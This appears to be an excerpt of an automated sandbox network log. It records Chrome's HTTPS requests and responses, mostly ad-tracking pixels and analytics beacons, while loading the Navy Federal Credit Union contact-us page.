2024-05-24 22:46:43 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:43 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.6	50523	192.132.33.69	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	664	OUT	GET /engagement/js?goalId=15654&cb=1716590801775 HTTP/1.1 Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:43 UTC	546	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/javascript; charset=utf-8 Expires: -1 Set-Cookie: bt-es-15654=f714db1d-357a-48e6-bac1-7b09137a8ea9; path=/ Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:46:14 GMT; path=/; secure; SameSite=None X-ServerName: Track001-iad Date: Fri, 24 May 2024 22:46:14 GMT Connection: close Content-Length: 10120 Strict-Transport-Security: max-age=31536000;
2024-05-24 22:46:43 UTC	10120	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 62 69 64 74 65 6c 6c 65 63 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 4a 53 4f 4e 3d 7b 7d 3b 62 69 64 74 65 6c 6c 65 63 74 2e 4a 53 4f 4e 3d 4a 53 4f 4e 3b 66 75 6e 63 74 69 6f 6e 20 66 28 6e 29 7b 72 65 74 75 72 6e 20 6e 3c 31 30 3f 22 30 22 2b 6e 3a 6e 7d 76 61 72 20 74 6f 53 74 72 69 6e 67 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 76 61 72 20 52 45 50 4c 41 43 45 52 53 3d 7b 44 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 6b 65 79 29 7b 76 61 72 20 6d 73 3d 74 68 69 73 2e 76 61 6c 75 65 4f 66 28 29 3b 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 74 68 69 73 2e 76 61 6c 75 65 4f 66 28 29 29 3f 74 68 69 73 2e 67 65 74 55 54 43 46 75 6c 6c 59 65 61 72 28 29 2b 22 2d 22 2b Data Ascii: (function(bidtellect){"use strict";var JSON={};bidtellect.JSON=JSON;function f(n){return n<10?"0"+n:n}var toString=Object.prototype.toString;var REPLACERS={Date:function(key){var ms=this.valueOf();return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.6	50530	172.217.18.6	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	932	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:43 UTC	4570	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"12576894184104522377"}],"aggregatable_trigger_data":[{"filters":[{"14":["9121340"]}],"key_piece":"0xa62b680724e39ef","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0x362cbba4a316cb9c","not_filters":{"14":["9121340"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12":65, [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:43 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.6	50527	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	617	OUT	GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&rl=&if=false&ts=1716590797195&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590796655&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:43 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=91, rtx=0, c=10, mss=1392, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Fri, 24 May 2024 22:46:43 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.6	50529	172.217.18.6	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	934	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:43 UTC	4595	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"16019397974869917718"}],"aggregatable_trigger_data":[{"filters":[{"14":["13886426"]}],"key_piece":"0x3207ccec6325b791","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xefcb4e53dca91529","not_filters":{"14":["13886426"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12": [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:43 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.6	50532	34.252.112.229	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	787	OUT	GET /adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=41c189dc-0747-403e-98b2-97aff675ae2c&ona= HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVQAAAAAAB
2024-05-24 22:46:44 UTC	813	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:43 GMT Transfer-Encoding: chunked Connection: close Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; Path=/; Domain=.agkn.com; Expires=Sat, 24-May-2025 22:46:43 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://px0.pbbl.co/adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=41c189dc-0747-403e-98b2-97aff675ae2c&mt=&bd=&cb=1716590803977
2024-05-24 22:46:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.6	50535	3.141.243.186	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	692	OUT	GET /tv2track.php?action_name=Contact%20Us%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=702009&h=18&m=46&s=40&url=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1190 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:43 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: 594277a0-57cb-48a5-86e6-796b7be271ba Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:44 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.6	50537	63.140.39.93	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	3874	OUT	GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s33369260808916?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A46%3A39%205%20240&sdid=3395027B8DD0B4CB-61167B21D4B5DDDB&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Acontact-us&g=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&v2=nfo%3Acontact-us&c4=6%3A46PM&v4=6%3A46PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c13=nfo%3Abranches-atms&c15=AEM&v15=AEM&v16=19471654271041955080390332448085131267&v30=nfo%3Acontact-us&c45=D%3Dv45&v45=2024-05-24%2018%3A46%3A36&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&c60=highestPercentViewed%3D23%20%7C%20initialPercentViewed%3D23%20% [TRUNCATED] Host: analytics.navyfederal.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; ttc_c14=1716590753728; s_ips=907; s_vnc365=1748126753731%26vn%3D1; s_ivc=true; s_cc=true; _gcl_au=1.1.1380165631.1716590754; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-19875%7CvVersion [TRUNCATED]
2024-05-24 22:46:43 UTC	731	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Fri, 24 May 2024 22:46:43 GMT expires: Thu, 23 May 2024 22:46:43 GMT last-modified: Sat, 25 May 2024 22:46:43 GMT pragma: no-cache p3p: CP="This is not a P3P policy" server: jag set-cookie: s_ecid=MCMID%7C19471654271041955080390332448085131267; Path=/; Domain=navyfederal.org; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:46 GMT; etag: 3686350681501696000-4618254133740136161 vary: * content-type: image/gif;charset=utf-8 content-length: 43 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-05-24 22:46:43 UTC	43	IN	Data Raw: 47 49 46 38 39 61 02 00 02 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 02 00 02 00 00 02 02 84 51 00 3b Data Ascii: GIF89a!,Q;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.6	50541	35.244.232.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	680	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&event=player_init&time=1716590800169&autoplay=false&seq=0 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:43 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Fri, 24 May 2024 22:46:43 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:43 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.6	50540	35.244.232.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	794	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&event=catalog_request&url=https%3A%2F%2Fedge.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F5289441629001%2Fvideos%2F5368522558001&time=1716590800172&autoplay=false&seq=1 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:43 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Fri, 24 May 2024 22:46:43 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:43 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.6	50539	35.244.232.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	2266	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&autoplay=false&ads_enabled=false&usage=social!3.14.0&usage=iframe-embed&event=player_load&time=1716590800351&qos.performance.memory.jsHeapSizeLimit=2172649472&qos.performance.memory.usedJSHeapSize=4897935&qos.performance.memory.totalJSHeapSize=9139239&qos.performance.navigation.redirectCount=0&qos.performance.navigation.type=0&qos.performance.navigation.directedMigration=false&qos.performance.timing.loadEventEnd=0&qos.performance.timing.loadEventStart=0&qos.performance.timing.domComplete=0&qos.performance.timing.domContentLoadedEventEnd=1716590800192&qos.performance.timing.domContentLoadedEventStart=1716590800188&qos.performance.timing.domInteractive=1716590800188&qos.performance.timing.domLoading=1716590797329&qos.performance.timin [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Fri, 24 May 2024 22:46:43 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:44 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.6	50533	41.63.96.0	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	706	OUT	GET /v2/unsecured/media/5289441629001/201706/3056/5289441629001_253ed319-4475-4691-b6ff-264389900fd4.vtt?pubId=5289441629001&videoId=5368522558001 HTTP/1.1 Host: brightcove.hs.llnwd.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://players.brightcove.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	217	IN	HTTP/1.1 400 Bad Request Server: EdgePrism/5.2.0.0 Mime-Version: 1.0 Content-Type: text/plain X-LLID: ffcb496b66293cdd9fc1467fb784ea3a Date: Fri, 24 May 2024 22:46:44 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.6	50536	3.141.243.186	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	692	OUT	GET /tv2track.php?action_name=Contact%20Us%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=818227&h=18&m=46&s=40&url=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1190 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:43 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: 874d5d7b-8574-4b6e-8785-d22d64ea4890 Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:44 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.6	50549	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
